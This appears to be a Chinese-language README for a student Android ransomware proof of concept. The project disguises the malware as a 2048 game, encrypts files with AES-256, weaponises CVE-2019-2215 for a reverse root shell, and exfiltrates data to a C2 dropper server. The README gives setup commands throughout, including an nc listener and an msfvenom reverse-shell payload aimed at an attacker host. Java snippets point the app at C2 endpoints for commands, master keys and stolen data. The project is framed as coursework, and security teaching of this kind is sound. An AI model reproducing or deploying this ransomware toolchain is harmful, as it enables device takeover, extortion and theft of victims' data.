Android 勒索软件开发 - AES256 加密 + CVE-2019-2215 (反向 root shell) + 数据外泄
该项目仅用于教育目的。该项目使用了来自 rkshrksh/2048-Game 和 kangtastic/cve-2019-2215 的代码。
本项目是新加坡理工大学移动安全模块的一部分。项目在 6 周内完成,目标是开发一个恶意 Android 应用程序。通过这样做,我们了解了 Android 操作系统中的安全机制是如何实现的,以及如何实践 OWASP Mobile Top 10:2017 M8 - 代码篡改。
该项目是一个概念验证,展示了一个自定义勒索软件,它利用 AES 加密、将 cve-2019-2215 武器化,并从受感染设备窃取数据。
已在 Android 10 和 Google Pixel 2 XL 上测试。
├── 2048-Game // Android 项目文件夹
├── 2048-keystore // 测试密钥库
├── cve-2019-2215 // 修改后的 cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // Dropper 服务器目录
│ ├── cve-2019-2215 // 压缩前的 shells.zip 内容
│ ├── dropper_server.py // Dropper 服务器程序
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Netcat Windows 二进制文件 - 用于反向 Shell 监听
│ ├── requirements.txt
│ ├── shells.zip // 托管在 dropper 服务器根目录中的 shells.zip
│ └── venv
└── test_images // test_images 用于轻松 adb push <image.ext> /sdcard/Pictures
对于此测试,请确保受害手机和 C2 服务器位于同一子网中(否则请将 C2 托管在公共互联网上)。C2 服务器有 3 个端点,可在 dropper/dropper_server.py 中找到:
nc -lvnp 1337 # 理想情况下,此 IP 应与 dropper 服务器的 IP 相同
# 生成 rs.elf 载荷
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf
# 如果 WSL 不将 localhost 流量转发到 Windows 主机,则最好在 Windows 上运行 flask
cd dropper
python3 -m venv venv # 创建 venv
# 激活 venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # 确保主机 shell 是 root/Administrator
# 运行 C2 服务器
python3 dropper_server.py # WSL
python dropper_server.py # Windows
位于 /dropper 的 shells.zip
Java 类
// 文件 : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// 根据 dropper 服务器的 IP 和端口修改 IP 和端口
String URL = "http://192.168.157.73:8080/process_command"; // 第 19 行
// 文件 : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// 根据 dropper 服务器的 IP 和端口修改 IP 和端口
String URL = "http://192.168.157.73:8080/get_mk"; // 第 45 行
// 文件 : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// 根据 dropper 服务器的 IP 和端口修改 IP 和端口
String urlString = "http://192.168.157.73:8080/postData"; // 第 32 行